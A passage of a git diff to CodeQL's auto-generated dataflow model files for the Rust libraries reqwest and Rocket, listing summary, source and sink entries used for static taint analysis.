"ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_proxy_scheme", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::previous", "Argument[self].Field[crate::redirect::Attempt::previous]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::status", "Argument[self].Field[crate::redirect::Attempt::status]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::redirect::Attempt::next]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::custom", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::limited", "Argument[0]", "ReturnValue.Field[crate::redirect::Policy::inner].Field[crate::redirect::PolicyKind::Limit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_https_only", "Argument[0]", "Argument[self].Field[crate::redirect::TowerRedirectPolicy::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_https_only", "Argument[0]", "ReturnValue.Field[crate::redirect::TowerRedirectPolicy::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_referer", "Argument[0]", "Argument[self].Field[crate::redirect::TowerRedirectPolicy::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_referer", "Argument[0]", "ReturnValue.Field[crate::redirect::TowerRedirectPolicy::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_referer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::Delay::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::support::delay_layer::Delay::delay]", "value", "dfc-generated"] @@ -359,11 +404,11 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::addr", "Argument[self].Field[crate::support::server::Server::addr]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::clone", "Argument[self].Field[crate::tls::ClientCert::Pem::certs].Reference", "ReturnValue.Field[crate::tls::ClientCert::Pem::certs]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::tls::IgnoreHostname::roots]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::tls::IgnoreHostname::signature_algorithms]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::peer_certificate", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::util::Escape(0)]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::inner]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[1]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::timeout]", "value", "dfc-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::with_read_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::ReadTimeoutBody::inner]", "value", "dfc-generated"] @@ -379,19 +424,37 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::stream", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::multipart", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::execute", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::head", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reader", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::multipart", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::send", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "Argument[0]", "transmission", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::wait::timeout", "Argument[1]", "pointer-access", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "Argument[0]", "transmission", "df-generated"] - addsTo: pack: codeql/rust-all extensible: sourceModel data: + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file", "ReturnValue", "file", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_env", "ReturnValue", "environment", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml b/rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml new file mode 100644 index 00000000000..f9148a8e630 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-cookies.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::cookies", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml b/rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml new file mode 100644 index 00000000000..b5d6fb686d5 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-fairings.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::fairings", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::fairings", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::fairings", "::on_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::fairings", "::on_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml index 76cd9d7618e..3ffcc568546 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket.model.yml @@ -4,31 +4,72 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&[u8] as crate::data::from_data::FromData>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&[u8] as crate::data::from_data::FromData>::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&[u8] as crate::form::from_form_field::FromFormField>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::config::config::Config as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::config::secret_key::SecretKey as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::cookies::CookieJar as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::data::limits::Limits as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::header::accept::Accept as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::header::content_type::ContentType as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::raw_str::RawStr as crate::data::from_data::FromData>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::raw_str::RawStr as crate::data::from_data::FromData>::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::route::route::Route as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::state::State as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::uri::host::Host as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&crate::uri::origin::Origin as crate::request::from_request::FromRequest>::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::data::from_data::FromData>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::data::from_data::FromData>::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::form::from_form_field::FromFormField>::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<&str as crate::request::from_param::FromParam>::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Cloneable>::clone_handler", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::catcher::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[0]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::ext::StreamExt>::join", "Argument[self]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form_field::FromFieldContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_value", "Argument[1].Field[crate::form::field::ValueField::name]", "Argument[0].Field[crate::form::from_form_field::FromFieldContext::field_name].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::form::from_form::FromForm>::push_value", "Argument[1].Field[crate::form::field::ValueField::value]", "Argument[0].Field[crate::form::from_form_field::FromFieldContext::field_value].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Cloneable>::clone_handler", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[1]", "Argument[self].Parameter[1]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "<_ as crate::route::handler::Handler>::handle", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[0]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::Singleton(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::catcher::catcher::StaticInfo::handler]", "ReturnValue.Field[crate::catcher::catcher::Catcher::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::catcher::catcher::Catcher::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::catcher::catcher::Catcher::handler].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::MapContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::MapContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::MapContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/rwf2/Rocket:rocket", "::profile", "Argument[self].Field[crate::config::config::Config::profile]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::ca_certs", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "Argument[self].Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::mandatory", "Argument[0]", "ReturnValue.Field[crate::config::tls::MutualTls::mandatory]", "value", "dfc-generated"] @@ -51,6 +92,9 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[1]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::cookies::CookieJar::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0].Field[crate::form::field::ValueField::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::Capped::value]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -64,17 +108,21 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::data::capped::Capped::value]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::data::capped::Capped::n]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::data::capped::N::written]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_data", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::local", "Argument[0]", "ReturnValue.Field[crate::data::data::Data::buffer]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek", "Argument[self].Field[crate::data::data::Data::buffer].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::peek_complete", "Argument[self].Field[crate::data::data::Data::is_complete]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Body(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::data_stream::StreamReader::inner].Field[crate::data::data_stream::StreamKind::Multipart(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::data::io_stream::IoStream::kind].Field[crate::data::io_stream::IoStreamKind::Upgraded(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::kind", "Argument[self].Field[crate::error::Error::kind]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::shutdown", "Argument[0]", "ReturnValue.Field[crate::error::Error::kind].Field[crate::error::ErrorKind::Shutdown(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::io", "Argument[self].Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::CancellableIo::io].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::ext::CancellableIo::grace]", "value", "dfc-generated"] @@ -88,6 +136,18 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::ext::Join::a]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::ext::Join::b]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::info", "Argument[self].Field[crate::fairing::ad_hoc::AdHoc::name]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_response", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_shutdown", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_ignite", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_liftoff", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::on_request", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] @@ -101,7 +161,11 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket", "::push_error", "Argument[0].Field[crate::form::error::Error::kind].Field[crate::form::error::ErrorKind::Custom(0)]", "Argument[self].Field[crate::form::context::Context::status]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket", "::status", "Argument[self].Field[crate::form::context::Context::status]", "ReturnValue", "value", "dfc-generated"] - 